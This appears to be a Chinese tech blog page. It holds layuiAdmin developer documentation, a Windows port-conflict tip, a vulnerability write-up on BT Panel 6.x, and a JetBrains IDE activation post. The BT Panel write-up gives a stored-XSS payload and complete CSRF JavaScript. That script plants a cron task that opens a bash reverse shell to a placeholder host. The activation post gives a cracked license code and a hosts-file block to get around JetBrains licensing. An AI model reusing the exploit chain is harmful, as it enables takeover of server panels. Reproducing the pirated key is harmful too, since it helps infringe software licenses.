即可完成。如上面的路由解析出来的结果是:{ path: ['user','set'] ,search: {uid: 123, type: 1} ,href: 'user/set/uid=123/type=1' ,hash: 'xxx' } 可以看到,不同的结构会自动归纳到相应的参数中,其中:path:存储的是路由的目录结构search:存储的是路由的参数部分href:存储的是 layuiAdmin 的完整路由地址hash:存储的是 layuiAdmin 自身的锚记,跟系统自带的 location.hash 有点类似通过 layui.router() 得到路由对象后,你就可以对页面进行个性化操作、异步参数传值等等。如://在 JS 中获取路由参数 var router = layui.router(); admin.req({ url: 'xxx' ,data: { uid: router.search.uid } }); <!-- 在动态模板中获取路由参数 --> <script type="text/html" template lay-url="./xxx/?uid={{ layui.router().search.uid }}"> … </script> <!-- 或 --> <script type="text/html" template lay-url="./xxx/" lay-data="{uid:'{{ layui.router().search.uid }}'}"> … </script> 路由跳转通过上文的路由规则,你已经大致清楚了 layuiAdmin 路由的基本原理和解析方法。那么如何完成路由的跳转呢?在视图文件的 HTML 代码中,通过对任意元素设定 lay-href="/user/set/uid=123/type=1" ,好处是:任意元素都可以触发跳转。缺点是:只能在浏览器当前选项卡完成跳转(注意:不是 layuiAdmin 的选项卡)直接对 a 标签设定 href,如: <a href="#/user/set">text</a> 。好处是:你可以通过设定 target="_blank" 来打开一个浏览器新选项卡。缺点是:只能设置 a 标签,且前面必须加 /#/在 JS 代码中,还可通过 location.hash = '/user/set'; 来跳转。前面无需加 #,它会自动追加。路由结尾在路由结尾部分出现的 / 与不出现,是两个完全不同的路由。比如下面这个:user/set读取的视图文件是:.views/user/set.htmluser/set/读取的视图文件是:./views/user/set/index.html (TIPS:这里的 index.html 即是目录下的默认主视图,下文会有讲解)因此一定要注意结尾处的 /,避免视图读取错误。视图这或许是你应用 layuiAdmin 时的主要焦点,在开发过程中,你的大部分精力都可能会聚焦在这里。它取代了服务端 MVC 架构中的 view 层,使得应用开发变得更具扩展性。因此如果你采用 layuiAdmin 的 SPA(单页应用)模式,请务必要抛弃服务端渲染视图的思想,让页面的控制权限重新回归到前端吧!views 目录存放的正是视图文件,你可以在该目录添加任意的新目录和新文件,通过对应的路由即可访问。注意:如果是单页面模式,视图文件通常是一段 HTML 碎片,而不能是一个完整的 html 代码结构。视图与路由的关系每一个视图文件,都对应一个路由。其中 index.html 是默认文件(你也可以通过 config.js 去重新定义)。视图文件的所在目录决定了路由的访问地址,如:视图路径对应的路由地址./views/user/index.html/user/./views/user.html/user./views/user/set/index.html/user/set/./views/user/set.html/user/set./views/user/set/base.html/user/set/base通过上述的表格列举的对应关系,可以总结出:当视图文件是 index.html,那么路由地址就是它的上级目录(相对 views),以 / 结尾当视图文件不是 index.html,那么路由地址就是它的上级目录+视图文件名,不以 / 结尾值得注意的是:路由路径并非最多只能三级,它可以无限极。但对应的视图也必须存放在相应的层级目录下视图中加载 JS 模块在视图文件中,除了写 HTML,也可以写 JavaScript 代码。如:<div id=“LAY-demo-hello”>Hello layuiAdmin</div> <script> layui.use('admin', function(){ var $ = layui.jquery; admin.popup({ content: $('#LAY-demo-hello').html() }); }); </script> 如果该视图对应的 JS 代码量太大,我们更推荐你在 controller 目录下新增一个业务模块,并在视图中直接 layui.use 去加载该模块。下面以控制台主页 index.html 为例:<div>html区域<div> <script> //加载 controller 目录下的对应模块 /* 小贴士: 这里 console 模块对应 的 console.js 并不会重复加载, 然而该页面的视图可能会重新插入到容器,那如何保证脚本能重新控制视图呢?有两种方式: 1): 借助 layui.factory 方法获取 console 模块的工厂(回调函数)给 layui.use 2): 直接在 layui.use 方法的回调中书写业务代码,即: layui.use('console', function(){ //同 console.js 中的 layui.define 回调中的代码 }); 这里我们采用的是方式1。其它很多视图中采用的其实都是方式2,因为更简单些,也减少了一个请求数。 */ layui.use('console', layui.factory('console')); </script> 当视图被渲染后,layui.factory 返回的函数也会被执行,从而保证在不重复加载 JS 模块文件的前提下,保证脚本能重复执行。动态模板layuiAdmin 的视图是一个“动静结合”的载体,除了常规的静态模板,你当然还可以在视图中存放动态模板,因此它可谓是焦点中的焦点。定义模板在视图文件中,通过下述规则定义模板:<script type="text/html" template> <!-- 动态模板碎片 --> </script> 下面是一个简单的例子:<script type="text/html" template> 当前 layuiAdmin 的版本是:{{ layui.admin.v }} 路由地址:{{ layui.router().href }} </script> 在不对动态模板设定数据接口地址的情况下,它能读取到全局对象。但更多时候,一个动态模板应该是对应一个接口地址,如下所示:<script type="text/html" template lay-url="接口地址"> 我叫:{{ d.data.username }} {{# if(d.data.sex === '男')} 公的 {{# } else } 母的 {{# } }} </script> 模板中的 d 对应的是你接口返回的 json 转化后的一维对象,如:{ "code": 0 ,"data": { "username": "贤心" ,"sex": "男" } } 那么,上述动态模板最终输出的结果就是:我叫:贤心 公的 模板基础属性动态模板支持以下基础属性lay-url 用于绑定模板的数据接口地址,支持动态模板解析,如:<script type="text/html" template lay-url="https://api.xxx.com?id={{ layui.router().search.id }}"> <!-- 动态模板碎片 --> </script> lay-type 用于设定模板的接口请求类型(默认:get),如:<script type="text/html" template lay-url="接口地址" lay-type="post"> <!-- 动态模板碎片 --> </script> lay-data 用于定义接口请求的参数,其值是一个 JavaScript object 对象,同样支持动态模板解析,如:<script type="text/html" template lay-url="接口地址" lay-data="{id: '{{ layui.router().search.id }}', type: 1}"> <!-- 动态模板碎片 --> </script> lay-headers 用户定义接口请求的 Request Headers 参数,用法与 lay-data 的完全类似,支持动态模板解析。lay-done 接口请求完毕并完成视图渲染的回调脚本,里面支持写任意的 JavaScript 语句。事实上它是一个封闭的函数作用域,通过给 Function 实例返回的函数传递一个参数 d,用于得到接口返回的数据:<script type="text/html" template lay-url="接口地址" lay-done="console.log(d);"> <!-- 动态模板碎片 --> </script> 很多时候,你在动态模板中可能会放入一些类似于 layui 的 form 元素,而有些控件需要执行 form.render() 才会显示,这时,你可以对 lay-done 赋值一个全局函数,如:<script type="text/html" template lay-url="接口地址" lay-done="layui.data.done(d);"> <div class="layui-form" lay-filter="LAY-filter-demo-form"> <input type="checkbox" title="复选框"> </div> </script> <!-- 注意:别看眼花了,下面可不是动态模板,而是 JS 脚本区域 --> <script> layui.data.done = function(d){ layui.use(['form'], function(){ var form = layui.form; form.render(null, 'LAY-filter-demo-form'); //渲染该模板下的动态表单 }); }; </script> TIPS:如果模板渲染完毕需要处理过多的交互,我们强烈推荐你采用上述的方式定义一个全局函数赋值给 lay-done,会极大地减少维护成本。无需担心该全局函数的冲突问题,该函数是一次性的。其它页面即便声明了一个同样的函数,也只是用于新的视图,丝毫不会对之前的视图造成任何影响。layui.data.done 中的 done 可以随意命名,但需与 lay-done 的赋值对应上。模板语法动态模板基于 layui 的 laytpl 模块,详细语法可见: http://www.layui.com/doc/modules/laytpl.html#syntax登录与接口鉴权由于 layuiAdmin 接管了视图层,所以不必避免可能会与服务端分开部署,这时你有必要了解一下 layuiAdmin 默认提供的:从 登录 到 接口鉴权,再到 注销 的整个流程。登录拦截器进入登入页面登入成功后,会在 localStorage 的本地表中写入一个字段。如: access_token (名称可以在 config.js 自定义)。拦截器判断没有 access_token 时,则会跳转到登入页。尽管可以通过伪造一个假的 access_token 绕过视图层的拦截,但在请求接口时,会自动带上 access_token,服务端应再次做一层校验。流程打开 config.js ,将 interceptor 参数设置为 true(该参数为 1.0.0-beta6 开始新增)。那么,当其未检查到 access_token 值时,会强制跳转到登录页面,以获取 access_token。打开登录对应的视图文件 views/user/login.html,在代码最下面,你将看到一段已经写好的代码,你需要的是将接口地址改为服务端的真实接口,并返回 access_token值。layuiAdmin 会将服务端返回的 access_token 值进行本地存储,这时你会发现 layuiAdmin 不再强制跳转到登录页面。并在后面每次请求服务端接口时,都会自动在参数和 Request Headers 中带上 access_token,以便服务端进行鉴权。若鉴权成功,顺利返回数据;若鉴权失败,服务端的 code 应返回 1001(可在 config.js 自定义) , layuiAdmin 将会自动清空本地无效 token 并跳转到登入页。退出登录:重新打开 controller/common.js,搜索 logout,配上注销接口即可。如果是在其它场景请求的接口,如:table.render(),那么你需要获取本地存储的 token 赋值给接口参数,如下://设置全局 table 实例的 token(这样一来,所有 table 实例均会有效) table.set({ headers: { //通过 request 头传递 access_token: layui.data('layuiAdmin').access_token } ,where: { //通过参数传递 access_token: layui.data('layuiAdmin').access_token } }); //设置单个 table 实例的 token table.render({ elem: '#xxxx' ,url: 'url' ,where: { access_token: layui.data('layuiAdmin').access_token } //,headers: {} }); 事实上,layuiAdmin 的所有 Ajax 请求都是采用 admin.req(options),它会自动传递 access_token,因此推荐你在 JS 执行 Ajax 请求时直接使用它。其中参数 options 和 $.ajax(options) 的参数完全一样。接口鉴权我们推荐服务端遵循 JWT(JSON Web Token) 标准进行鉴权。对 JWT 不甚了解的同学,可以去搜索一些相关资料,会极大地增加应用的可扩展性。当然,你也可以直接采用传统的 cookie / session 机制。基础方法config 模块你可以在任何地方通过 layui.setter 得到 config.js 中的配置信息admin 模块var admin = layui.admin;admin.req(options) Ajax 请求,用法同 $.ajax(options),只是该方法会进行错误处理和 token 的自动传递admin.screen() 获取屏幕类型,根据当前屏幕大小,返回 0 - 3 的值0: 低于768px的屏幕1:768px到992px之间的屏幕2:992px到1200px之间的屏幕3:高于1200px的屏幕admin.exit() 清除本地 token,并跳转到登入页admin.sideFlexible(status) 侧边伸缩。status 为 null:收缩;status为 “spread”:展开admin.on(eventName, callback) 事件监听,下文会有讲解admin.popup(options) 弹出一个 layuiAdmin 主题风格的 layer 层,参数 options 跟 layer.open(options) 完全相同admin.popupRight(options) 在屏幕右侧呼出一个面板层。options 同上。admin.popupRight({ id: 'LAY-popup-right-new1' //定义唯一ID,防止重复弹出 ,success: function(){ //将 views 目录下的某视图文件内容渲染给该面板 layui.view(this.id).render('视图文件所在路径'); } }); admin.resize(callback) 窗口 resize 事件处理,我们推荐你使用该方法取代 jQuery 的 resize 事件,以避免多页面标签下可能存在的冲突。admin.fullScreen() 全屏admin.exitScreen() 退出全屏admin.eventsadmin.events.refresh()刷新当前右侧区域admin.events.closeThisTabs()关闭当前标签页admin.events.closeOtherTabs()关闭其它标签页admin.events.closeAllTabs()关闭全部标签页view 模块var view = layui.view;view(id) 获取指定容器,并返回一些视图渲染的方法,如://渲染视图,viewPath 即为视图路径 view('id').render(viewPath).then(function(){ //视图文件请求完毕,视图内容渲染前的回调 }).done(function(){ //视图文件请求完毕和内容渲染完毕的回调 }); //直接向容器插入 html,tpl 为 模板字符;data 是传入的数据。该方法会自动完成动态模板解析 view('id').send(tpl, data); 另外,render 方法支持动态传参,以用于视图内容接受。如:admin.popup({ id: 'LAY-popup-test1' ,success: function(){ view(this.id).render('视图文件所在路径', { id: 123 //这里的 id 值你可以在一些事件中动态获取(如 table 模块的编辑) }); } }); 那么,在视图文件中,你可以在动态模板中通过 {{ d.params.xxx }} 得到传入的参数,如:<script type="text/html" template lay-url="http://api.com?id={{ d.params.id }}"> 配置了接口的动态模板,且接口动态获取了 render 传入的参数:{{ d.params.id }} </script> <script type="text/html" template> 也可以直接获取:<input type="hidden" name="id" value="{{ d.params.id }}"> </script> 而如果是在 JS 语句中去获取模板传递过来的变量,可以借助动态模板的 lay-done 属性去实现,如:<script type="text/html" template lay-done="layui.data.sendParams(d.params)"> </script> 然后在 JS 语句中通过执行动态模板 lay-done 中对应的方法得到对应的参数值:<script> //定义一个 lay-done 对应的全局方法,以供动态模板执行 layui.data.sendParams = function(params){ console.log(params.id) //得到传递过来的 id 参数(或其他参数)值 //通过得到的参数值,做一些你想做的事 //… //若需用到 layui 组件,layui.use 需写在该全局方法里面,如: layui.use(['table'], function(){ var table = layui.table; table.render({ elem: '' ,url: 'url?id='+ params.id }); }); }; </script> 注意:上述实现需保证 layuiAdmin 为 1.2.0+`总之,驾驭好 view().render().done(callback) 对您的项目开发至关重要。ID唯一性如果你开启了标签页功能,请务必注意 ID 的冲突,尤其是在你自己绑定事件的情况。ID 的命令可以遵循以下规则来规避冲突:LAY-路由-任意名 以消息中心页面为例,假设它的路由为:/app/message/,那么 ID 应该命名为:<button class="layui-btn" id="LAY-app-message-del">删除</button> 实用组件Hover 提示层通过对元素设置 lay-tips="提示内容" 来开启一个 hover 提示,如:<i class="layui-icon layui-icon-tips" lay-tips="要支持的噢" lay-offset="5"></i> 其中 lay-offset 用于定于水平偏移距离(单位px),以调整箭头让其对准元素事件监听hash 监听路由地址改变// 下述中的 xxx 可随意定义,不可与已经定义的 hash 事件同名,否则会覆盖上一事件 admin.on('hash(xxx)', function(router){ console.log(router); //得到路由信息 }); side 监听侧边伸缩// 下述中的 xxx 可随意定义,不可与已经定义的 side 事件同名,否则会覆盖上一事件 admin.on('side(xxx)', function(obj){ console.log(obj.status); //得到伸缩状态:spread 为展开状态,其它值为收缩状态 }); 兼容性layuiAdmin 使用到了 layui 的栅格系统,而栅格则是基于浏览器的媒体查询。ie8、9不支持。所以要在宿主页面(如 start/index.html )加上下面这段保证兼容:<!-- 让IE8/9支持媒体查询,从而兼容栅格 --> <!--[if lt IE 9]> <script src="https://cdn.staticfile.org/html5shiv/r29/html5.min.js"></script> <script src="https://cdn.staticfile.org/respond.js/1.4.2/respond.min.js"></script> <![endif]--> 缓存问题由于单页面版本的视图文件和静态资源模块都是动态加载的,所以可能存在浏览器的本地缓存问题,事实上我们也考虑到这个,因此,为了避免改动后的文件未及时生效,你只需在入口页面(默认为start/index.html)中,找到 layui.config ,修改其 version 的值即可。我们推荐你分场景来更新缓存:场景一:如果项目是在本地开发。你可以设置 version 为动态毫秒数,如:version: new Date().getTime() //这样你每次刷新页面,都会更新一次缓存 场景二:如果项目是在线上运行。建议你手工更新 version,如:version: '1.0.0' //每次发布项目时,跟着改动下该属性值即可更新静态资源的缓存 升级事项从官网更新资源包后,除了 src 和 dist 目录需要注意一下,其它目录和文件均可覆盖,下面以 src 为例(dist 由于是 src 构建后生成的目录,所以本质是和 src 一样的) src 目录下可以直接覆盖的有:src/lib/src/style/src/index.js需要灵活调配的有:src/controller/src/views/src/config.js如果没有改动默认配置,事实上 config.js 也可以覆盖升级开发过程中,建议同时运行两个 layuiAdmin 。一个是已经实际运用的,一个是 layuiAdmin 本身的 Demo。以便从 Demo 中获取参考和提取示例。源码构建当你在 src 目录完成开发后,你可通过 gulp 对 src 源码进行自动化构建,以生成用于线上环境的 dist 目录。并在入口页面中的 layui.config 的 base 参数指向 dist。在资源包中根目录下看到的 gulpfile.js 是 layuiAdmin 写好的任务脚本,package.json 是任务配置文件,你只需按照以下步骤:step1:确保你的电脑已经安装好了 Node.js,如果未安装,可去官网下载安装step2: 命令行安装 gulp:npm install gulp -gstep3:切换到 layuiAdmin 项目根目录(即 gulpfile.js 所在目录),命令行安装任务所依赖的包:npm install安装完成后,后续只需直接执行命令:gulp 即可完成 src 到 dist 目录的构建
2019年03月29日
6,487 阅读
0 评论
0 点赞
2019-03-29
layuiAdmin std v1.x 【iframe版】开发者文档
layuiAdmin.std(iframe 版) 是完全基于 layui 架构而成的通用型后台管理模板系统,采用传统的 iframe 多页面开发模式,可更快速直接地开发网页后台应用程序,无需过多地学习成本,简单高效,撸起袖子直接干。题外该文档适用于 layuiAdmin.std 常规版(iframe),阅读之前请务必确认是否与你使用的版本对应。熟练掌握 layuiAdmin 的前提是熟练掌握 layui,因此除了本篇文档, layui 的文档 也是必不可少的存在。快速上手目录说明解压文件后,你将看到以下目录:src/layuiAdmin 源代码,通常用于开发环境(如本地)。src/layuiadmin/:layuiAdmin 的静态资源(JS、CSS、模块碎片等)**src/layuiadmin/json/:模拟接口返回的 JSON 相应信息,实际应用时可无视。**src/layuiadmin/layui/:layui 基础框架,功能一般领先于官网提供下载的版本。**src/layuiadmin/lib/:layuiAdmin 的核心模块,通常不建议修改。**src/layuiadmin/modules/:layuiAdmin 的业务模块**src/layuiadmin/style/:layuiAdmin 的样式文件**src/layuiadmin/tpl/:layuiAdmin 部分区块可能用到的模版碎片**src/layuiadmin/config.js:全局配置文件src/views/:layuiAdmin 提供的视图文件,你可以将其移动到你服务端工程的 view 层中,注意修改 JS/CSS 的路径即可。dist/ 通过 gulp 将 资源包的 src 目录的源代码进行构建后生成的目录(即:将 JS 和 CSS 文件进行了压缩等处理),通常用于线上环境。关于 gulp 的使用,下文也有介绍。部署到服务端将 src 目录中的 views 文件夹整个复制到你 服务端工程 的 view 层中,通过本地 web 服务器访问(Tomcat / IIS / Apache / Nginx 等)确保可以访问后,修改好 HTML 文件中的 JS/CSS 路径,即可正常运行页面。iframe 常规版 相比于 单页面模式的专业版 ,无论是在目录结构还是开发模式上都要简单很多。因为单页版是接管了服务端 MVC 的视图层,而 iframe 版则将视图交给了服务端来控制和输出,可以避免鉴权的复杂程度,直接可衔接好新老项目(因为你们的大部分老项目都是采用 iframe 模式)。全局配置当你已经顺利在本地预览了 layuiAdmin 后,你一定迫不及待关注更深层的结构。假设你页面引入的是 src 目录 的 JS,你还需要关注的是 src/layuiadmin/ 目录中的 config.js,它里面存储着所有的默认配置。你可以按照实际需求选择性修改:layui.define(['laytpl', 'layer', 'element', 'util'], function(exports){ exports('setter', { container: 'LAY_app' //容器ID ,base: layui.cache.base //记录静态资源所在路径 ,views: layui.cache.base + 'tpl/' //动态模板所在目录 ,entry: 'index' //默认视图文件名 ,engine: '.html' //视图文件后缀名 ,pageTabs: true //是否开启页面选项卡功能。iframe 版推荐开启 ,name: 'layuiAdmin' ,tableName: 'layuiAdmin' //本地存储表名 ,MOD_NAME: 'admin' //模块事件名 ,debug: true //是否开启调试模式。如开启,接口异常时会抛出异常 URL 等信息 //自定义请求字段 ,request: { tokenName: false //自动携带 token 的字段名(如:access_token)。可设置 false 不携带。 } //自定义响应字段 ,response: { statusName: 'code' //数据状态的字段名称 ,statusCode: { ok: 0 //数据状态一切正常的状态码 ,logout: 1001 //登录状态失效的状态码 } ,msgName: 'msg' //状态信息的字段名称 ,dataName: 'data' //数据详情的字段名称 } //扩展的第三方模块 ,extend: [ 'echarts', //echarts 核心包 'echartsTheme' //echarts 主题 ] //主题配置 ,theme: { //配色方案,如果用户未设置主题,第一个将作为默认 color: [{ main: '#20222A' //主题色 ,selected: '#009688' //选中色 ,logo: '' //logo区域背景色 ,header: '' //头部区域背景色 ,alias: 'default' //默认别名 }] //为了减少篇幅,更多主题此处不做列举,可直接参考 config.js //初始的颜色索引,对应上面的配色方案数组索引 //如果本地已经有主题色记录,则以本地记录为优先,除非清除 LocalStorage(步骤:F12呼出调试工具→Aplication→Local Storage→选中页面地址→layuiAdmin→再点上面的X) // 1.0 正式版开始新增 ,initColorIndex: 0 } }); }); 基础方法config 模块你可以在任何地方通过 layui.setter 得到 config.js 中的配置信息。如:layui.setter.baseadmin 模块var admin = layui.admin;admin.req(options) Ajax 请求,用法同 $.ajax(options),只是该方法会进行错误处理admin.screen() 获取屏幕类型,根据当前屏幕大小,返回 0 - 3 的值0: 低于768px的屏幕1:768px到992px之间的屏幕2:992px到1200px之间的屏幕3:高于1200px的屏幕admin.sideFlexible(status) 侧边伸缩。status 为 null:收缩;status为 “spread”:展开admin.on(eventName, callback) 事件监听,下文会有讲解admin.popup(options) 弹出一个 layuiAdmin 主题风格的 layer 层,参数 options 跟 layer.open(options) 完全相同admin.popupRight(options) 在屏幕右侧呼出一个面板层。options 同上。admin.popupRight({ id: 'LAY-popup-right-new1' //定义唯一ID,防止重复弹出 ,success: function(){ //将 views 目录下的某视图文件内容渲染给该面板 layui.view(this.id).render('视图文件所在路径'); } }); admin.resize(callback) 窗口 resize 事件处理,我们推荐你使用该方法取代 jQuery 的 resize 事件,以避免多页面标签下可能存在的冲突。admin.fullScreen() 全屏admin.exitScreen() 退出全屏admin.eventsadmin.events.refresh()刷新当前右侧区域admin.events.closeThisTabs()关闭当前标签页注意:如果是在 iframe 页面中执行关闭,需要如下写法:parent.layui.admin.events.closeThisTabs();admin.events.closeOtherTabs()关闭其它标签页admin.events.closeAllTabs()关闭全部标签页view 模块用法同 专业版:http://fly.layui.com/docs/5/#base-view在 iframe 页面内部打开新标签通常你会涉及一些在右侧 iframe 页面内部去打开一个新标签的需求,目前有以下方式可以实现方法一:直接在 a 标签上加上相关属性<a lay-href="url">文本</a> 方法二:调用 index 模块的相关方法parent.layui.index.openTabsPage(href, text); //这里要注意的是 parent 的层级关系 自定义标签栏标题每当你打开一个标签页,头部都会出现标题。它默认读取的是所点元素的文本,但是你也可以自定义标题。<a lay-href="url" lay-text="自定义标题文本">默认读取的文本</a> 值得说明的是,只要你配置了上述的 lay-href 属性,就会打开一个新的标签,如果要在当前标签跳转,直接配置 href="" 属性即可。实用组件Hover 提示层通过对元素设置 lay-tips="提示内容" 来开启一个 hover 提示,如:<i class="layui-icon layui-icon-tips" lay-tips="要支持的噢" lay-offset="5"></i> 其中 lay-offset 用于定于水平偏移距离(单位px),以调整箭头让其对准元素兼容性layuiAdmin 使用到了 layui 的栅格系统,而栅格则是基于浏览器的媒体查询。ie8、9不支持。所以要在宿主页面(如 start/index.html )加上下面这段保证兼容:<!-- 让IE8/9支持媒体查询,从而兼容栅格 --> <!--[if lt IE 9]> <script src="https://cdn.staticfile.org/html5shiv/r29/html5.min.js"></script> <script src="https://cdn.staticfile.org/respond.js/1.4.2/respond.min.js"></script> <![endif]--> 升级事项从官网更新资源包后,以 src 目录为例(dist 由于是 src 构建后生成的目录,所以本质是和 src 一样的) src 目录下可以直接覆盖的有:src/json/src/layui/src/lib/src/style/需要灵活调配的有:src/modules/src/tpl/src/config.js如果没有改动默认配置,事实上 config.js 也可以覆盖升级源码构建当你在 src 目录完成开发后,你可通过 gulp 对 src 源码进行自动化构建,以生成用于线上环境的 dist 目录。并在 HTML 源代码中引入该目录的 JS/CSS。在资源包中根目录下看到的 gulpfile.js 是 layuiAdmin 写好的任务脚本,package.json 是任务配置文件,你只需按照以下步骤:step1:确保你的电脑已经安装好了 Node.js,如果未安装,可去官网下载安装step2: 命令行安装 gulp:npm install gulp -gstep3:切换到 layuiAdmin 项目根目录(即 gulpfile.js 所在目录),命令行安装任务所依赖的包:npm install安装完成后,后续只需直接执行命令:gulp 即可完成 src 到 dist 目录的构建
2019年03月29日
13,234 阅读
1 评论
3 点赞
2019-01-19
windows端口被占用的解决办法
使用软件是或做开发是往往会碰到端口会占用的情况, 怎么解决呢?按键盘上的windows+R,然后在输入框中输入cmdnetstat -ano |findstr "端口号"比如netstat -ano |findstr "1080" 最后一列是程序的pid在命令行界面输入下面命令, 进程号为刚刚找到的进程号tasklist |findstr "进程id号" # 例如 tasklist |findstr "14564" 或者找到pid后在任务管理器结束任务即可检测是否端口占用netstat -ano |findstr "1080" 如无结果则表示端口占用已解除
2019年01月19日
685 阅读
0 评论
0 点赞
2018-11-18
宝塔面板6.x版本xss+后台csrf Getshell
什么是宝塔面板?宝塔面板是一款使用方便、功能强大且终身免费的服务器管理软件,支持Linux与Windows系统。一键配置:LAMP/LNMP、网站、数据库、FTP、SSL,通过Web端轻松管理服务器。推出至今备受中小站点站长喜爱,下载量过百万。漏洞代码分析在6.x linux版本宝塔面板当中当中,相对与5.x版本,记录了验证码错误并存入数据库当中,存储xss缺陷就是在此处产生。我们直接看漏洞代码。直接分析post请求部分。代码如下:我们可以看到这里首先判断了是否有 用户名密码,然后是验证码。判断这个IP是否是有登陆失败的记录。如果大于1 记录一下,随后将错误次数大于1的用户名的和密码都进行了记录。 从数据库中读取管理员账号密码。进行对比。如果没有成功就返回一个错误关键的代码如下:此处记录了一下post 的请求。然后将code传入到了写日志的一个函数里面。追踪一下这个函数。 在public.py 里面,找到如下函数这里就是一个写日志的功能。定义了一个teyp 然后是args 。这里把code 传递过来。就直接写入了日志。没有做任何过滤处理。然后就导致了xss漏洞产生。 可以在宝塔数据库当中,看到logs数据库里存储的信息漏洞复现我们直接在面板登录处,随便输入一个账号密码,触发失败,要求输入验证码。由于没有任何过滤处理,我们直接输入弹窗的payload:undefinedundefinedundefinedundefinedundefined<script>alert(‘www.dafsec.org’)</script> 登录后台后,打开安全模块,成功触发弹窗。由于服务器管理面板的特殊性,后台可以进行敏感操作。手写js远程调用,利用csrf漏洞在计划任务处配合存储xss,可成功反弹shell,弹shell成功截图如下:远程调用的js代码如下:function addTask(TaskName, execTime, ip, port) { var execShell = 'bash -i >& /dev/tcp/your_ip/your_port 0>&1'; execShell = encodeURIComponent(execShell); var params = 'name=' + TaskName + '&type=minute-n&where1=' + execTime + '&hour=&minute=&week=&sType=toShell&sBody=' + execShell + '&sName=&backupTo=localhost&save=&urladdress=undefined' var xhr = new XMLHttpRequest(); xhr.open('POST', '/crontab?action=AddCrontab', false); xhr.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded'); xhr.send(params); } function execTask(TaskName) { var xhr = new XMLHttpRequest(); xhr.open('POST', '/crontab?action=GetCrontab', true); xhr.send(); xhr.onload = function () { if (this.readyState == 4 && this.status == 200) { var res = JSON.parse(this.responseText); if (res[0].name == TaskName) { var TaskID = res[0].id.toString(); var xhr = new XMLHttpRequest(); xhr.open('POST', '/crontab?action=StartTask', false); xhr.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded'); var params = 'id=' + TaskID; xhr.send(params); delTask(res[0].id); console.log(res[0].id); return res[0].id; } } } } function delTask(TaskID) { var params = 'id=' + TaskID.toString(); var xhr = new XMLHttpRequest(); xhr.open('POST', '/crontab?action=DelCrontab', false); xhr.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded'); xhr.send(params); } var TaskName = Math.random().toString(36).substring(7); addTask(TaskName, '5', '1.1.1.1', '53'); execTask(TaskName); 后序宝塔官方已修复该漏洞,但仍有大量存在漏洞主机暴露于公网,请及时更新至最新版本。 官方已修复该漏洞,漏洞环境可以将附件当中的test.py同名覆盖掉宝塔最新版的/www/server/panel/class/userlogin.py
2018年11月18日
2,538 阅读
0 评论
0 点赞
2018-11-17
2018 WebStorm/Pycharm/PhpStorm/IntelliJ IDEA 激活方法
亲测有效!感谢 http://idea.lanyus.com/ 大神注册码有效期为2018年5月5日至2019年5月4日使用前请先将0.0.0.0 account.jetbrains.com添加到C:\Windows\System32\drivers\etc目录下hosts文件中Ubuntu, deepin和 mac系统的Hosts路径为/etc/hosts然后输入激活码, 即可激活K71U8DBPNE-eyJsaWNlbnNlSWQiOiJLNzFVOERCUE5FIiwibGljZW5zZWVOYW1lIjoibGFuIHl1IiwiYXNzaWduZWVOYW1lIjoiIiwiYXNzaWduZWVFbWFpbCI6IiIsImxpY2Vuc2VSZXN0cmljdGlvbiI6IkZvciBlZHVjYXRpb25hbCB1c2Ugb25seSIsImNoZWNrQ29uY3VycmVudFVzZSI6ZmFsc2UsInByb2R1Y3RzIjpbeyJjb2RlIjoiSUkiLCJwYWlkVXBUbyI6IjIwMTktMDUtMDQifSx7ImNvZGUiOiJSUzAiLCJwYWlkVXBUbyI6IjIwMTktMDUtMDQifSx7ImNvZGUiOiJXUyIsInBhaWRVcFRvIjoiMjAxOS0wNS0wNCJ9LHsiY29kZSI6IlJEIiwicGFpZFVwVG8iOiIyMDE5LTA1LTA0In0seyJjb2RlIjoiUkMiLCJwYWlkVXBUbyI6IjIwMTktMDUtMDQifSx7ImNvZGUiOiJEQyIsInBhaWRVcFRvIjoiMjAxOS0wNS0wNCJ9LHsiY29kZSI6IkRCIiwicGFpZFVwVG8iOiIyMDE5LTA1LTA0In0seyJjb2RlIjoiUk0iLCJwYWlkVXBUbyI6IjIwMTktMDUtMDQifSx7ImNvZGUiOiJETSIsInBhaWRVcFRvIjoiMjAxOS0wNS0wNCJ9LHsiY29kZSI6IkFDIiwicGFpZFVwVG8iOiIyMDE5LTA1LTA0In0seyJjb2RlIjoiRFBOIiwicGFpZFVwVG8iOiIyMDE5LTA1LTA0In0seyJjb2RlIjoiR08iLCJwYWlkVXBUbyI6IjIwMTktMDUtMDQifSx7ImNvZGUiOiJQUyIsInBhaWRVcFRvIjoiMjAxOS0wNS0wNCJ9LHsiY29kZSI6IkNMIiwicGFpZFVwVG8iOiIyMDE5LTA1LTA0In0seyJjb2RlIjoiUEMiLCJwYWlkVXBUbyI6IjIwMTktMDUtMDQifSx7ImNvZGUiOiJSU1UiLCJwYWlkVXBUbyI6IjIwMTktMDUtMDQifV0sImhhc2giOiI4OTA4Mjg5LzAiLCJncmFjZVBlcmlvZERheXMiOjAsImF1dG9Qcm9sb25nYXRlZCI6ZmFsc2UsImlzQXV0b1Byb2xvbmdhdGVkIjpmYWxzZX0=-Owt3/+LdCpedvF0eQ8635yYt0+ZLtCfIHOKzSrx5hBtbKGYRPFDrdgQAK6lJjexl2emLBcUq729K1+ukY9Js0nx1NH09l9Rw4c7k9wUksLl6RWx7Hcdcma1AHolfSp79NynSMZzQQLFohNyjD+dXfXM5GYd2OTHya0zYjTNMmAJuuRsapJMP9F1z7UTpMpLMxS/JaCWdyX6qIs+funJdPF7bjzYAQBvtbz+6SANBgN36gG1B2xHhccTn6WE8vagwwSNuM70egpahcTktoHxI7uS1JGN9gKAr6nbp+8DbFz3a2wd+XoF3nSJb/d2f/6zJR8yJF8AOyb30kwg3zf5cWw==-MIIEPjCCAiagAwIBAgIBBTANBgkqhkiG9w0BAQsFADAYMRYwFAYDVQQDDA1KZXRQcm9maWxlIENBMB4XDTE1MTEwMjA4MjE0OFoXDTE4MTEwMTA4MjE0OFowETEPMA0GA1UEAwwGcHJvZDN5MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAxcQkq+zdxlR2mmRYBPzGbUNdMN6OaXiXzxIWtMEkrJMO/5oUfQJbLLuMSMK0QHFmaI37WShyxZcfRCidwXjot4zmNBKnlyHodDij/78TmVqFl8nOeD5+07B8VEaIu7c3E1N+e1doC6wht4I4+IEmtsPAdoaj5WCQVQbrI8KeT8M9VcBIWX7fD0fhexfg3ZRt0xqwMcXGNp3DdJHiO0rCdU+Itv7EmtnS